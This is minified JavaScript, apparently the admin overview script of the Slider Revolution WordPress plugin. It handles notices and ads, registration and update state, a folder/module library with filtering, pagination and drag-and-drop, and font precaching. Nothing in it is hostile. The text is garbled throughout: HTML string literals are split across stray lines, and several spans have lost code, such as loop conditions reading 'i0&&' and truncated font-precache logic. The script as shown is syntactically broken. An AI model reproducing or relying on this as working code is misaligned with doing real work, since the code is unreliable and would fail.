  • ",i=i>parseInt(RVS.ENV.notices[n].type)?parseInt(RVS.ENV.notices[n].type):i}else{var p=!1;for(var S in RVS.S.advert)RVS.S.advert[S].code==RVS.ENV.notices[n].code&&(p=!0);p||RVS.S.advert.push(jQuery.extend({},!0,RVS.ENV.notices[n]))}if(c>0){if(r.show(),e[0].length>0&&(t.innerHTML+=e[0]),e[1].length>0&&(t.innerHTML+=e[1]),e[2].length>0&&(t.innerHTML+=e[2]),s.classList.remove("notice_level_1"),s.classList.remove("notice_level_2"),s.classList.remove("notice_level_3"),a.classList.remove("notice_level_1"),a.classList.remove("notice_level_2"),a.classList.remove("notice_level_3"),s.className+=" notice_level_"+i,a.className+=" notice_level_"+i,a.innerHTML=c,t.innerHTML.length>0&&l.length>0&&(t.innerHTML+='
  • close'+RVS_LANG.dismissmessages+"
  • "),jQuery(".notification_function_checkAddOnVersions").on("click",checkAddOnVersions),jQuery(".notification_function_registerPlugin").on("click",function(){RVS.F.scrollToOvRegister()}),jQuery(".notification_function_fixMissingAddons").on("click",function(){RVS.F.handleAddonsWarning()}),jQuery(".notification_function_addonNotUptodate").on("click",function(){RVS.S.addonPrefilter="action",RVS.F.openAddonModal()}),jQuery(".notification_function_updatePluginNow").on("click",function(){!0===RVS.ENV.activated?RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"update",title:RVS_LANG.updateplugin,maintext:RVS_LANG.areyousureupdateplugin,subtext:RVS_LANG.updatingtakes,do:{icon:"check_circle",text:RVS_LANG.updatenow,event:"updateThePlugin"},cancel:{icon:"cancel",text:RVS_LANG.cancel},swapbuttons:!0}):RVS.F.showRegisterSliderInfo()}),jQuery("#remove_notifications").on("click",function(){RVS.F.ajaxRequest("dismiss_dynamic_notice",{id:l},function(e){},!1,!1,void 0,!0)}),void 0===RVS.S.noticesListener){RVS.S.noticesListener=!0;var _=tpGS.gsap.timeline({repeat:-1});tpGS.CustomWiggle.create("myWiggle",{wiggles:8,type:"uniform"}),_.add(tpGS.gsap.to("#rs_notice_the_bell",.5,{transformOrigin:"50% 0%",x:5,rotationZ:10,ease:"myWiggle",onComplete:function(){d.innerHTML="notifications"},onStart:function(){d.innerHTML="notifications_active"}}),2)}}else r.hide();if(void 0!==RVS.S.advert&&RVS.S.advert.length>0)for(var v in RVS.S.advert)RVS.S.advert[v].id=void 0===RVS.S.advert[v].id?"rs_advert_"+Math.round(1e7*Math.random()):RVS.S.advert[v].id,null!==RVS.S.advert[v].container&&void 0!==RVS.S.advert[v].container||(jQuery("#rs_welcome_h3").after('
    '),RVS.S.advert[v].container=document.getElementById(RVS.S.advert[v].id),RVS.S.advert[v].container.innerHTML=RVS.S.advert[v].text,RVS.S.advert[v].mwrap=RVS.S.advert[v].container.getElementsByTagName("RS-MODULE-WRAP"),void 0===RVS.S.advert[v].mwrap[0]&&(RVS.S.advert[v].mwrap=RVS.S.advert[v].container),jQuery(RVS.S.advert[v].mwrap).append('
    close'+RVS_LANG.closeNews+"
    "),RVS.S.advert[v].revmodule=RVS.S.advert[v].container.getElementsByTagName("RS-MODULE")[0],void 0!==RVS.S.advert[v].revmodule?(RVS.S.advert[v].rsoptions=JSON.parse(RVS.S.advert[v].script),jQuery("#"+RVS.S.advert[v].revmodule.id).show().revolutionInit(RVS.S.advert[v].rsoptions)):RVS.S.advert[v].mwrap.style.marginTop="50px",tpGS.gsap.fromTo(jQuery("#rs_close_advert_"+v),1,{opacity:0},{opacity:1,delay:2}),tpGS.gsap.set(RVS.S.advert[v].mwrap,{boxShadow:"0px 0px 0px 0px rgba(0,0,0,0.2)"}),tpGS.gsap.to(RVS.S.advert[v].mwrap,1,{boxShadow:"0px 0px 20px 10px rgba(0,0,0,0.2)",delay:2}),jQuery("#rs_close_advert_"+v).on("click",function(){tpGS.gsap.to(RVS.S.advert[this.dataset.ai].mwrap,1,{marginTop:0,marginBottom:0,overflow:"hidden",height:0,ease:"power3.inOut",onComplete:function(){RVS.S.advert[this.dataset.ai].container.innerHTML=""}}),tpGS.gsap.to(RVS.S.advert[this.dataset.ai].container,1,{autoAlpha:0});var e=new Array;e.push(RVS.S.advert[this.dataset.ai].code),RVS.F.ajaxRequest("dismiss_dynamic_notice",{id:e},function(e){},!1,!1,void 0,!0)}))},RVS.F.welcome=function(){RVS.F.dontShowTracking=!0,RVS.F.RSDialog.create({modalid:"rbm_welcomeModal",bgopacity:.85}),jQuery("#rbm_welcomeModal .rbm_close").on("click",RVS.F.RSDialog.close),RVS.ENV.activated?jQuery("#open_welcome_register_form").on("click",RVS.F.RSDialog.close):jQuery("#open_welcome_register_form").on("click",RVS.F.showRegisterSliderInfo)},RVS.F.changeOVToFolder=function(e){sliderLibrary.selectedFolder=e,resetAllOVFilters(),updateOVFilteredList()},RVS.F.getOVSliderIndex=function(e){var i=-1;for(var r in sliderLibrary.sliders)sliderLibrary.sliders.hasOwnProperty(r)&&sliderLibrary.sliders[r].id==e&&(i=r);return i},RVS.F.getOVSlideIndex=function(e,i){var r=-1;for(var t in sliderLibrary.slides[i])sliderLibrary.slides[i].hasOwnProperty(t)&&""+sliderLibrary.slides[i][t].id==""+e&&(r=t);return r},RVS.F.updateDraw=function(){RVS.F.compareVersion(RVS.ENV.latest_version,RVS.ENV.revision)>0?(jQuery("#available_version_icon").addClass("warning"),jQuery("#available_version_content").addClass("warning")):(jQuery("#available_version_icon").removeClass("warning"),jQuery("#available_version_content").removeClass("warning"))},RVS.F.isActivated=function(){"true"==RVS.ENV.activated||1==RVS.ENV.activated?(jQuery("#rs_register_to_unlock").text(RVS_LANG.premium_features_unlocked),jQuery("#purchasekey").val(RVS.ENV.code),RVS.ENV.allow_update?jQuery("#updateplugin").removeClass("halfdisabled").text(RVS_LANG.securityupdate):jQuery("#updateplugin").removeClass("halfdisabled").text(RVS_LANG.updateNow),jQuery("#activated_ornot_box").removeClass("not_activated").html('done'+RVS_LANG.registered),RVS.ENV.selling?jQuery("#activateplugin").text(RVS_LANG.deregisterKey):jQuery("#activateplugin").text(RVS_LANG.deregisterCode),RVS.ENV.selling?jQuery("#activateplugintitle").text(RVS_LANG.registeredlicensekey):jQuery("#activateplugintitle").text(RVS_LANG.registeredpurchasecode),jQuery("#purchasekey_wrap").addClass("activated"),jQuery(".activate_to_unlock").hide(),jQuery("#buynow_notregistered").hide()):(jQuery("#rs_register_to_unlock").text(RVS_LANG.register_to_unlock),jQuery("#purchasekey").val(),RVS.ENV.allow_update?jQuery("#updateplugin").removeClass("halfdisabled").text(RVS_LANG.securityupdate):jQuery("#updateplugin").addClass("halfdisabled").text(RVS_LANG.activateToUpdate),jQuery("#activated_ornot_box").addClass("not_activated").html('do_not_disturb'+RVS_LANG.notRegisteredNow),RVS.ENV.selling?jQuery("#activateplugin").text(RVS_LANG.registerKey):jQuery("#activateplugin").text(RVS_LANG.registerCode),RVS.ENV.selling?jQuery("#activateplugintitle").text(RVS_LANG.registerlicensekey):jQuery("#activateplugintitle").text(RVS_LANG.registerpurchasecode),jQuery("#purchasekey_wrap").removeClass("activated"),jQuery(".activate_to_unlock").show(),jQuery("#buynow_notregistered").show()),RVS.F.compareVersion(RVS.ENV.latest_version,RVS.ENV.revision)<=0&&!0!==RVS.ENV.allow_update?jQuery("#updateplugin").hide():jQuery("#updateplugin").show()},RVS.F.createNewFolder=function(e){d({keepOverlay:!1});var i=void 0!==e&&void 0!==e.foldername?{title:e.foldername}:{};-1!==sliderLibrary.selectedFolder&&(i.parentFolder=sliderLibrary.selectedFolder),RVS.F.ajaxRequest("create_slider_folder",i,function(i){i.folder.parent=sliderLibrary.selectedFolder,-1!==sliderLibrary.selectedFolder&&sliderLibrary.sliders[RVS.F.getOVSliderIndex(sliderLibrary.selectedFolder)].children.push(i.folder.id),i.success&&sliderLibrary.sliders.push(i.folder),resetAllOVFilters(),void 0!==e&&e.enter?(sliderLibrary.selectedFolder=i.folder.id,sliderLibrary.filters=buildModuleFilters()):(sliderLibrary.filters=buildModuleFilters(),jQuery("#slider_id_"+i.folder.id).addClass("selected")),i.success&&void 0!==e&&void 0!==e.callBack&&RVS.DOC.trigger(e.callBack,e.callBackParam)})};var e=function(e){var i='
    ';return i+='',i+='',i+='',i+='
    ',i+='
    ',i+='
    delete
    ',i+="
    "},i=function(){var i,r="";for(RVS.S.glob_cus_fonts=void 0===RVS.S.glob_cus_fonts?jQuery("#global_custom_fonts"):RVS.S.glob_cus_fonts,i=0;i0&&(window.ov_scroll_targets[i].top=window.ov_scroll_targets[i].obj.offset().top,!window.ov_scroll_targets[i].shown&&window.ov_scroll_targets[i].top=window.ov_scroll_targets[i].top&&window.scroll_top<=window.ov_scroll_targets[i].top+window.ov_scroll_targets[i].height&&(e=i));e=-1===e?window.ov_scroll_targets.length-1:e,jQuery(".rso_scrollmenuitem").removeClass("active"),window.ov_scroll_targets[e].menu.addClass("active")}function a(){tpGS.gsap.set("#rs_overview_menu",{width:jQuery("#wpbody").width()}),jQuery("#wpadmin_overlay").width(jQuery("#adminmenuback").width()),jQuery("#wpadmin_overlay_top").height(jQuery("#wpadminbar").height()),s()}function d(e){e.keepOverlay||jQuery(".overview_elements").removeClass("infocus"),jQuery(".rs_library_el_next").hide(),jQuery(".rs_library_element.selected").each(function(){var i=jQuery(this);void 0!==e.id&&i.id===e.id||(tpGS.gsap.to(i.find(".rsle_tbar"),.3,{y:"-100%",transformOrigin:"50% 0%",ease:"power3.out"}),i.removeClass("menuopen"),setTimeout(function(){window.lastBreacCrumbText="",jQuery("#rsl_bread_selected").html(window.lastBreacCrumbText),i.removeClass("selected")},300))})}function l(e,i){if(void 0===i||void 0===e)return e;if(Array.isArray(i))for(var r in i)i.hasOwnProperty(r)&&-1==jQuery.inArray(i[r],e)&&e.push(i[r]);else-1==jQuery.inArray(i,e)&&e.push(i);return e}function o(e){if(void 0!==e.array&&e.array.length>0)for(var i in e.array)if(e.array.hasOwnProperty(i)){var r=e.sanitize?new Option(RVS.F.sanitize_input(RVS.F.capitalise(e.array[i])),e.array[i],!1,e.old===e.array[i]):new Option(RVS.F.capitalise(e.array[i]),e.array[i],!1,e.old===e.array[i]);r.className="dynamicadded",e.select.append(r)}}updateGoogleFontRequirements=function(){RVS.F.askForGoogleFontUpdateNow=function(){RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"font_download",title:RVS_LANG.gfontsprecache,maintext:RVS_LANG.gfontsprecachenote,subtext:RVS_LANG.gfontsprecachenotesub,do:{icon:"check_circle",text:RVS_LANG.processnow,event:"preLoadCacheButtonClick",keepDialog:!0},cancel:{icon:"cancel",text:RVS_LANG.processlater},swapbuttons:!0})},RVS.DOC.on("preLoadCacheButtonClick",function(){RVS.F.RSDialog.close(),setTimeout(RVS.F.preLoadCacheButtonFunction,50)}),RVS.F.precacheNextGoogleFont=function(){RVS.S.precachedListIndex')})),RVS.F.RSDialog.create({modalid:"rbm_globalsettings",bgopacity:.85})},initBasics=function(){jQuery("#newsletter_mail").val(""),tpGS.gsap.set(".plugin_inforow",{autoAlpha:0}),window.tp_twitter=initTwitter("twitter_timeline"),initFeatureSliders()},initFeatureSliders=function(){jQuery(".feature_slider").each(function(){jQuery(this).show().revolutionInit({jsliderType:"hero",visibilityLevels:"9999,9999,9999,9999",gridwidth:380,gridheight:430,perspective:600,perspectiveType:"global",lazyloaddata:"lazy-src",editorheight:"330",responsiveLevels:"9999,9999,9999,9999",progressBar:{disableProgressBar:!0},navigation:{onHoverStop:!1},viewPort:{enable:!0},fallbacks:{allowHTML5AutoPlayOnAndroid:!0}})})},drawOVOverview=function(e){e=void 0===e?{noanimation:!1}:e;var i=sliderLibrary.output.find(".overview_elements");if(i.find(".rsl_breadcrumb_wrap").remove(),-1!==sliderLibrary.selectedFolder||sliderLibrary.inSlideMode){var r='
    ';if(r+='
    apps'+RVS_LANG.simproot+"
    ",r+='keyboard_arrow_right',-1!==sliderLibrary.selectedFolder){for(var t="",a=sliderLibrary.selectedFolder;-1!==a;){var d=RVS.F.getOVSliderIndex(a);t='
    folder_open'+sliderLibrary.sliders[d].title+'
    keyboard_arrow_right'+t,a=sliderLibrary.sliders[d].parent||-1}r+=t}sliderLibrary.inSlideMode&&(r+='
    burst_mode'+sliderLibrary.sliders[RVS.F.getOVSliderIndex(sliderLibrary.selectedSlider)].title+'
    keyboard_arrow_right'),r+='
    ',r+="
    ",i.append(r)}sliderLibrary.inSlideMode,-1!=sliderLibrary.selectedFolder||sliderLibrary.inSlideMode?sliderLibrary.backOneLevel.appendTo(i):sliderLibrary.backOneLevel.detach();var l=0;if(!0!==sliderLibrary.inSlideMode){for(var o in sliderLibrary.sliders)if(sliderLibrary.sliders.hasOwnProperty(o)){var n=sliderLibrary.sliders[o];void 0===sliderLibrary.pages||jQuery.inArray(n.id,sliderLibrary.pages[sliderLibrary.selectedPage-1])>=0?(l++,void 0!==n.ref&&n.folder&&n.ref.remove(),0===n.slide_id&&!0===n.folder&&(n.slide_id=Math.round(1e8*Math.random())),n.ref=void 0===n.ref||n.folder?buildOVElement(n):n.ref,e.noanimation||tpGS.gsap.fromTo(n.ref,.4,{autoAlpha:0,scale:.8,transformOrigin:"50% 50%",force3D:!0},{scale:1,autoAlpha:1,ease:"power3.inOut",delay:.02*l}),n.ref.appendTo(i),doOVDraggable(n.ref)):void 0!==n.ref&&n.ref.detach()}}else{i.find(".rs_library_element").detach(),tpGS.gsap.to("#modulesoverviewheader, #modulesoverviewfooter",.5,{autoAlpha:0,opacity:0,ease:"power3.inOut"});var c=1;for(var o in sliderLibrary.slidesOrder[sliderLibrary.selectedSlider]){if(void 0!==(d=sliderLibrary.slidesOrder[sliderLibrary.selectedSlider][o])&&sliderLibrary.slides[sliderLibrary.selectedSlider].hasOwnProperty(d)){n=sliderLibrary.slides[sliderLibrary.selectedSlider][d];l++;var u=getSliderObjFromList(sliderLibrary.selectedSlider);n.ref=void 0===n.ref?buildOVElement({premium:void 0!==u?u.premium:void 0,order:c,title:n.title,bg:n.customAdminThumbSrc,id:sliderLibrary.selectedSlider,slide_id:n.id,type:"slide",state:n.state}):n.ref,n.ref.appendTo(i),c++,e.noanimation||tpGS.gsap.fromTo(n.ref,.4,{autoAlpha:0,scale:.8,transformOrigin:"50% 50%",force3D:!0},{scale:1,autoAlpha:1,ease:"power3.inOut",delay:.02*l})}}doOVSortable(i)}s()},getSliderObjFromList=function(e){var i;for(var r in sliderLibrary.sliders)void 0===i&&sliderLibrary.sliders.hasOwnProperty(r)&&""+sliderLibrary.sliders[r].id==""+e&&(i=sliderLibrary.sliders[r]);return i},buildOVElement=function(e,i){var r=e.folder?"folder_library_element":"",t=jQuery('
    '),s=e.premium?'
    '+RVS_LANG.premium+'
    visibility_off'+RVS_LANG.premium+'
    visibility_off'+RVS_LANG.premiumunlock+"
    ":"";if(obj=i?jQuery('
    '+s+'
    '):jQuery('
    '+s+'
    '),obj.append(t),!i){var a='
    ',d=e.folder?jQuery(''):jQuery(''),l=e.folder||"slide"===e.type||e.slide_ids.length<2?"":jQuery('');if("slide"!==e.type&&(a+='
    add_to_queue'+RVS_LANG.embed+"
    "),"slide"!==e.type&&(a+='
    file_download'+RVS_LANG.export+"
    "),"slide"!==e.type&&(a+='
    code'+RVS_LANG.exporthtml+"
    "),"slide"!==e.type&&(a+='
    content_copy'+RVS_LANG.duplicate+"
    "),"slide"!==e.type&&(a+='
    search'+RVS_LANG.preview+"
    "),"slide"!==e.type&&(a+='
    local_offer'+RVS_LANG.tags+"
    "),a+='
    title'+RVS_LANG.rename+"
    ","slide"===e.type&&(a+='
    visibility'+RVS_LANG.publish+"
    "),"slide"===e.type&&(a+='
    visibility_off'+RVS_LANG.unpublish+"
    "),"slide"===e.type&&(a+='
    content_copy'+RVS_LANG.duplicate+"
    "),"slide"===e.type&&(a+='
    delete'+RVS_LANG.delete+"
    "),e.folder||(a+='
    photo'+RVS_LANG.thumbnail+"
    "),"slide"===e.type||e.folder||(a+='
    flash_on'+RVS_LANG.optimize+"
    "),"slide"!==e.type&&(a+='
    delete'+RVS_LANG.delete+"
    "),"slide"!==e.type){for(var o in a+='
    "}a=jQuery(a),obj.append(d),e.folder||obj.append(l),obj.append(a),a.find(".elementtags").ddTP({tags:!0,tokenSeparators:[","," "]}),a.find(".elementfolders").ddTP(),e.folder||obj.append('
    ')}if(e.children&&e.children.length>0){var n=[],c=!1;for(var o in e.children)if(e.children.hasOwnProperty(o)){for(var u in c=!1,sliderLibrary.sliders)if(sliderLibrary.sliders.hasOwnProperty(u)&&sliderLibrary.sliders[u].id==e.children[o]){c=!0;break}c&&n.push(e.children[o])}e.children=n}if(e.folder)if(-1!=e.id&&"root"!=e.quicktype||(obj.addClass("rootlevel_wrap"),t.append('
    apps'+RVS_LANG.root+"
    ")),"parent"===e.quicktype)obj.addClass("rootlevel_wrap"),t.append('
    reply'+RVS_LANG.parent+"
    "),obj.append(jQuery('
    folder_open
    '));else{obj.append(jQuery('
    folder_open
    '));for(o=1;o<=4;o++){var p=jQuery('
    ');if(void 0!==e.children&&e.children.length>=o){var S=findRekursiveChildImage(RVS.F.getOVSliderIndex(e.children[e.children.length-o]));-1!==S&&!1!==S&&RVS.F.setObjBg(sliderLibrary.sliders[S],p)}t.append(p)}}else{var _=jQuery('
    ');obj.append(_),RVS.F.setObjBg(e,_)}return obj},findRekursiveChildImage=function(e,i){if(i=void 0!==i&&i,!0===sliderLibrary.sliders[e].folder&&!0!==i){var r=sliderLibrary.sliders[e].children.length-1;for(var t in sliderLibrary.sliders[e].children)if(!1===i){var s=RVS.F.getOVSliderIndex(sliderLibrary.sliders[e].children[r-t]);void 0!==sliderLibrary.sliders[s]&&!0===sliderLibrary.sliders[s].folder?i=findRekursiveChildImage(s,i):void 0!==sliderLibrary.sliders[s]&&""!==sliderLibrary.sliders[s].bg&&(i=s)}}else void 0!==sliderLibrary.sliders[e]&&""!==sliderLibrary.sliders[e].bg&&(i=e);return i},buildOVPagination=function(e){if(sliderLibrary.inSlideMode)tpGS.gsap.to("#modulesoverviewheader, #modulesoverviewfooter",.5,{autoAlpha:0,opacity:0,ease:"power3.inOut"});else{var i=Math.max(1,Math.floor((sliderLibrary.output.width()+30)/290)),r=i,t=RVS.F.getCookie("rs6_overview_pagination");if(sliderLibrary.maxAmountPerPage!==i){jQuery("#pagination_select_2").ddTP("destroy"),sliderLibrary.maxAmountPerPage=i;for(var s=0;s<=4;s++){var a=document.getElementById("page_per_page_"+s);a.value=r,a.selected=a.value===t,a.innerHTML=RVS_LANG.show+" "+r+" "+RVS_LANG.perpage,r*=2}jQuery("#pagination_select_2").ddTP()}sliderLibrary.inited=!0,sliderLibrary.sliders.length<=i?(sliderLibrary.output.find(".overview_header_footer").hide(),sliderLibrary.output.find(".overview_pagination").val("all")):sliderLibrary.output.find(".overview_header_footer").show(),sliderLibrary.selectedPage=e.keeppage&&jQuery(".page_button.global_library_pagination.selected").length>0?jQuery(".page_button.global_library_pagination.selected").data("page"):1;var d,l=sliderLibrary.output.find(".ov-pagination"),o=sliderLibrary.output.find(".overview_pagination")[0].value||4,n=0,c=sliderLibrary.filteredList.length;if(c=-1!=sliderLibrary.selectedFolder?c+Math.ceil(c/parseInt(o)):c,sliderLibrary.pageAmount="all"===o?1:Math.ceil(c/parseInt(o)),sliderLibrary.itemPerPage="all"===o?99999:parseInt(o),sliderLibrary.itemPerPage=-1!=sliderLibrary.selectedFolder?sliderLibrary.itemPerPage-1:sliderLibrary.itemPerPage,l[0].innerHTML="",sliderLibrary.selectedPage=sliderLibrary.selectedPage>sliderLibrary.pageAmount?sliderLibrary.pageAmount:sliderLibrary.selectedPage,sliderLibrary.pageAmount>1)for(s=1;s<=sliderLibrary.pageAmount;s++)d=s!==sliderLibrary.selectedPage?"":"selected",l[0].innerHTML+='
    '+s+"
    ",1===s?l[0].innerHTML+='
    ...
    ':s===sliderLibrary.pageAmount-1&&(l[0].innerHTML+='
    ...
    ');for(var u in smartPagination(),sliderLibrary.pages=[],sliderLibrary.pages.push([]),sliderLibrary.filteredList)sliderLibrary.filteredList.hasOwnProperty(u)&&(sliderLibrary.pages[sliderLibrary.pages.length-1].push(sliderLibrary.filteredList[u]),++n===sliderLibrary.itemPerPage&&(n=0,sliderLibrary.pages.push([])))}},resetAllOVFilters=function(){sliderLibrary.selectedPage=1,jQuery("#sel_overview_sorting").val("datedesc").ddTP("change"),jQuery("#sel_overview_filtering").val("all").ddTP("change"),RVS.DOC.trigger("updateSlidersOverview",{val:"datedesc",eventparam:"#reset_sorting",ignoreRebuild:!0,ignoreCookie:!0}),RVS.DOC.trigger("updateSlidersOverview",{val:"all",eventparam:"#reset_filtering",ignoreCookie:!0})},smartPagination=function(){sliderLibrary.pageAmount=parseInt(sliderLibrary.pageAmount,0),sliderLibrary.selectedPage=parseInt(sliderLibrary.selectedPage,0),jQuery(".page_button.global_library_pagination").each(function(){var e=parseInt(this.dataset.page,0),i=!1;1!==e&&e!==sliderLibrary.pageAmount||(i=!0),sliderLibrary.selectedPage<4&&e>0&&e<5&&(i=!0),sliderLibrary.selectedPage>sliderLibrary.pageAmount-3&&e>sliderLibrary.pageAmount-4&&e<9999&&(i=!0),e<9999&&e>=sliderLibrary.selectedPage-1&&e<=sliderLibrary.selectedPage+1&&e>0&&(i=!0),(sliderLibrary.selectedPage>=4&&-9999===e||sliderLibrary.selectedPage<=sliderLibrary.pageAmount-3&&9999===e)&&(i=!0),sliderLibrary.pageAmount<8&&(i=9999!=e&&-9999!=e),this.style.display=i?"inline-block":"none"})},filterMatch=function(e){return e.filter===e.o.source||e.filter===e.o.type||e.filter===e.o.size||jQuery.inArray(e.filter,e.o.tags)>=0},getParentPath=function(e){var i=[],r=0;for(i.push(e);-1!==e&&r<1e4;){r++;var t=RVS.F.getOVSliderIndex(e);e=-1!==t&&void 0!==sliderLibrary.sliders[t]&&sliderLibrary.sliders[t].parent||-1,i.push(e)}return i},updateOVFilteredList=function(e){e=void 0===e?{force:!1,keeppage:!1,noanimation:!1,focusItem:!1}:e;var i=sliderLibrary.output.find(".overview_filterby")[0].value;switch(sliderLibrary.output.find(".overview_sortby")[0].value){case"datedesc":sliderLibrary.sliders.sort(function(e,i){return i.id-e.id});break;case"title":sliderLibrary.sliders.sort(function(e,i){return e.title.toUpperCase().localeCompare(i.title.toUpperCase())});break;case"titledesc":sliderLibrary.sliders.sort(function(e,i){return i.title.toUpperCase().localeCompare(e.title.toUpperCase())});break;default:sliderLibrary.sliders.sort(function(e,i){return e.id-i.id})}sliderLibrary.oldlist=sliderLibrary.filteredList,sliderLibrary.filteredList=[];var r=jQuery("#searchmodules").val().toLowerCase();for(var t in sliderLibrary.sliders)if(sliderLibrary.sliders.hasOwnProperty(t)){var s=sliderLibrary.sliders[t];s.parent=void 0===s.parent?-1:s.parent;var a=getParentPath(s.parent),d=r.length>2&&jQuery.inArray(sliderLibrary.selectedFolder,a)>=0&&(s.title.toLowerCase().indexOf(r)>=0||s.tags.toString().toLowerCase().indexOf(r)>=0)&&("all"==i||filterMatch({o:s,filter:i})),l=r.length<3&&"all"==i&&s.parent==sliderLibrary.selectedFolder,o=r.length<3&&filterMatch({o:s,filter:i})&&jQuery.inArray(sliderLibrary.selectedFolder,a)>=0;(d||l||o)&&sliderLibrary.filteredList.push(s.id)}sliderLibrary.filteredList.length<1&&-1===sliderLibrary.selectedFolder&&0===r.length?tpGS.gsap.to("#modulesoverviewheader, #modulesoverviewfooter",.5,{autoAlpha:0,opacity:0,ease:"power3.inOut"}):tpGS.gsap.to("#modulesoverviewheader, #modulesoverviewfooter",.5,{autoAlpha:1,opacity:1,ease:"power3.inOut"}),sliderLibrary.isSlideMode&&tpGS.gsap.to("#modulesoverviewheader, #modulesoverviewfooter",.5,{autoAlpha:0,opacity:0,ease:"power3.inOut"}),(e.force||JSON.stringify(sliderLibrary.oldlist)!==JSON.stringify(sliderLibrary.filteredList))&&(buildOVPagination({keeppage:e.keeppage,focusItem:e.focusitem}),drawOVOverview({noanimation:e.noanimation,focusItem:e.focusItem}))},updateParentAttributes=function(){for(var e in sliderLibrary.sliders)if(sliderLibrary.sliders.hasOwnProperty(e)&&sliderLibrary.sliders[e].folder)for(var i in sliderLibrary.sliders[e].children)if(sliderLibrary.sliders[e].children.hasOwnProperty(i))if(sliderLibrary.sliders[e].children.indexOf(sliderLibrary.sliders[e].parent)>=0)sliderLibrary.sliders[e].parent=-1;else{var r=RVS.F.getOVSliderIndex(sliderLibrary.sliders[e].children[i]);-1!==r&&(sliderLibrary.sliders[r].parent=sliderLibrary.sliders[e].id)}},buildModuleFilters=function(){var e={folders:[],tags:[],types:[],sources:[],sizes:[]};for(var i in e.folders.push({id:-1,title:"Root"}),sliderLibrary.sliders)if(sliderLibrary.sliders.hasOwnProperty(i)){var r=sliderLibrary.sliders[i];e.tags=l(e.tags,r.tags),e.types=l(e.types,r.type),e.sources=l(e.sources,r.source),e.sizes=l(e.sizes,r.size),r.folder&&e.folders.push({id:r.id})}var t=sliderLibrary.output.find(".overview_filterby"),s=t.val();return t.find(".dynamicadded").remove(),o({select:t,array:e.tags,group:"Tags",old:s,sanitize:!0}),o({select:t,array:e.types,group:"Types",old:s}),o({select:t,array:e.sources,group:"Sources",old:s}),o({select:t,array:e.size,group:"Sizes",old:s}),t.ddTP({placeholder:"Select From List"}),e},drawFolderListSideBar=function(e){sliderLibrary.filters=buildModuleFilters(),window.showFolderOverview=tpGS.gsap.timeline(),sliderLibrary.sfw[0].innerHTML="",window.showFolderOverview.add(tpGS.gsap.fromTo(sliderLibrary.sfw,.6,{display:"none",x:-400},{display:"block",x:0,ease:"power3.out"}),.1),window.showFolderOverview.add(tpGS.gsap.fromTo(sliderLibrary.sfwu,.3,{display:"none",autoAlpha:0},{display:"block",autoAlpha:.5,ease:"power3.out"}),0);var i=void 0===e?void 0:sliderLibrary.sliders[RVS.F.getOVSliderIndex(e)],r="first_fwlt";if(-1!==sliderLibrary.selectedFolder&&(sliderLibrary.sfw.append('
    '+RVS_LANG.toplevels+"
    "),buildDroppableList(buildOVElement({id:-1,title:"Root",quicktype:"root",folder:!0,children:[]},!0),0),r=""),void 0!==i&&-1!==i.parent&&-1!==i.parent){var t=sliderLibrary.sliders[RVS.F.getOVSliderIndex(i.parent)];void 0!==t&&-1!==t.parent&&buildDroppableList(buildOVElement({id:t.parent,title:"Parent",quicktype:"parent",folder:!0,children:[]},!0),0)}var s=!1;for(var a in sliderLibrary.filters.folders)if(sliderLibrary.filters.folders.hasOwnProperty(a)){var d=RVS.F.getOVSliderIndex(sliderLibrary.filters.folders[a].id);void 0!==i&&void 0!==sliderLibrary.sliders[d]&&i.parent!==sliderLibrary.sliders[d].parent||-1!==d&&(!1===s&&(sliderLibrary.sfw.append('
    '+RVS_LANG.siblings+"
    "),s=!0,r=""),buildDroppableList(buildOVElement({id:sliderLibrary.filters.folders[a].id,title:sliderLibrary.sliders[d].title,folder:!0,children:sliderLibrary.sliders[d].children},!0),a))}for(var a in s=!1,sliderLibrary.filters.folders)if(sliderLibrary.filters.folders.hasOwnProperty(a)){d=RVS.F.getOVSliderIndex(sliderLibrary.filters.folders[a].id);void 0!==i&&void 0!==sliderLibrary.sliders[d]&&i.parent===sliderLibrary.sliders[d].parent||void 0!==i&&i.parent===sliderLibrary.filters.folders[a].id||-1!==d&&(!1===s&&(sliderLibrary.sfw.append('
    '+RVS_LANG.otherfolders+"
    "),s=!0,r=""),buildDroppableList(buildOVElement({id:sliderLibrary.filters.folders[a].id,title:sliderLibrary.sliders[d].title,folder:!0,children:sliderLibrary.sliders[d].children},!0),a))}sliderLibrary.sfw.RSScroll({wheelPropagation:!1})},buildDroppableList=function(e,i){window.showFolderOverview.add(tpGS.gsap.from(e,.2,{x:"-150%",ease:"power3.out"}),.2+.04*i),doOVDroppable(e),sliderLibrary.sfw.append(e)},doOVDroppable=function(e){e.droppable({drop:function(i,r){var t=this.dataset.sliderid,s=r.draggable[0].dataset.sliderid,a=RVS.F.getOVSliderIndex(t),l=RVS.F.getOVSliderIndex(s);if(t!==s){if(-1!=sliderLibrary.sliders[l].parent){var o=RVS.F.getOVSliderIndex(sliderLibrary.sliders[l].parent);sliderLibrary.sliders[o].children.splice(jQuery.inArray(s,sliderLibrary.sliders[o].children),1),RVS.F.ajaxRequest("save_slider_folder",{id:sliderLibrary.sliders[o].id,children:sliderLibrary.sliders[o].children},function(e){})}-1!=e&&-1!==a&&(sliderLibrary.sliders[a].children=void 0===sliderLibrary.sliders[a].children||0===sliderLibrary.sliders[a].children.length?[]:sliderLibrary.sliders[a].children,sliderLibrary.sliders[a].children.push(s),RVS.F.ajaxRequest("save_slider_folder",{id:t,children:sliderLibrary.sliders[a].children},function(e){})),sliderLibrary.filters=buildModuleFilters(),sliderLibrary.sliders[l].parent=t,d({keepOverlay:!1}),updateOVFilteredList({force:!0,keeppage:!0,noanimation:!1})}return window.showFolderOverview.reverse(),window.droppedIntoFolder=!0,!1}})},doOVDraggable=function(e){e.data("draggable")&&e.draggable("destroy"),e.draggable({distance:20,helper:"clone",appendTo:"body",revert:"invalid",start:function(e,i){window.droppedIntoFolder=!1,drawFolderListSideBar(i.helper[0].dataset.sliderid)},stop:function(e,i){!1===window.droppedIntoFolder&&(window.showFolderOverview.reverse(),d({keepOverlay:!1}),updateOVFilteredList({force:!0,keeppage:!0,noanimation:!1}))}})},doOVSortable=function(e){e.data("sortable")&&e.sortable("destroy"),e.sortable({items:".rs_library_element",start:function(){d({keepOverlay:!1}),RVS.S.OVslidesOldOrder=[],e.find(".rs_library_element").each(function(e){var i=(""+this.dataset.slideid).replace("slide_id_","");void 